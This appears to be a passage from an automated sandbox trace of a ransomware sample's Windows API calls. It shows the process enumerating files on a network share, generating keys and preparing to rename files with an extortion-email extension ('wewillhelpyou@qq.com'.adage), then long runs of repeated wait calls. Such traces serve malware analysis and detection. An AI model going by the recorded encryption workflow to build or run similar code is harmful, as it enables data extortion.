dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.140] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=65282) returned 1 [0163.140] CloseHandle (hObject=0x224) returned 1 [0163.140] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png")) returned 0x80 [0163.140] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.141] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\les739ApbVb9h5NbQG.png" (normalized: "\\\\192.168.0.1\\documents\\les739apbvb9h5nbqg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.144] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.144] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.145] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=62736) returned 1 [0163.145] CloseHandle (hObject=0x224) returned 1 [0163.145] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp")) returned 0x80 [0163.145] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0163.146] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CUAALsfvQ.odp" (normalized: "\\\\192.168.0.1\\documents\\cuaalsfvq.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0163.148] CryptGenRandom (in: hProv=0x8450c0, dwLen=0x10, pbBuffer=0x374f7a0 | out: pbBuffer=0x374f7a0) returned 1 [0163.148] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NrdJUxDyhDG3y7Oab1mj.flv" (normalized: "\\\\192.168.0.1\\documents\\nrdjuxdyhdg3y7oab1mj.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0163.149] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x374f738 | out: lpFileSize=0x374f738*=52886) returned 1 [0163.386] CloseHandle (hObject=0x224) returned 1 [0163.386] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NrdJUxDyhDG3y7Oab1mj.flv" (normalized: "\\\\192.168.0.1\\documents\\nrdjuxdyhdg3y7oab1mj.flv")) returned 0x80 [0163.431] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NrdJUxDyhDG3y7Oab1mj.flv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nrdjuxdyhdg3y7oab1mj.flv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) Thread: id = 131 os_tid = 0x524 [0139.691] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x2220458 [0139.691] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x10000) returned 0x2230460 [0139.692] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x28) returned 0x1d5430 [0139.692] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x110102) returned 0x3990020 [0139.692] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x50) returned 0x1d5460 [0139.692] CryptImportKey (in: hProv=0x8450c0, pbData=0x30dfb30*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x30dfb98 | out: phKey=0x30dfb98*=0x871860) returned 1 [0139.692] CryptSetKeyParam (hKey=0x871860, dwParam=0x1, pbData=0x30dfb80, dwFlags=0x0) returned 1 [0139.692] CryptDecrypt (in: hKey=0x871860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5460, pdwDataLen=0x30dfb4c | out: pbData=0x1d5460, pdwDataLen=0x30dfb4c) returned 1 [0139.692] CryptDestroyKey (hKey=0x871860) returned 1 [0139.692] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x753b0000 [0139.692] GetProcAddress (hModule=0x753b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x753dd620 [0139.693] Wow64DisableWow64FsRedirection (in: OldValue=0x30dfbe8 | out: OldValue=0x30dfbe8*=0x0) returned 1 [0139.693] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5460 | out: hHeap=0x1d0000) returned 1 [0139.693] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.693] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.693] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.693] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.693] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.694] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.695] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.696] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.697] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.698] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.699] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.700] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.701] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.702] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.703] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.704] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.705] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.706] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.706] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.706] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.706] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.706] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.706] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.706] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.707] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.708] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.709] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.710] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.711] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.712] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.713] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.714] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.715] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.716] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0xffffffff) returned 0x0 [0139.717] 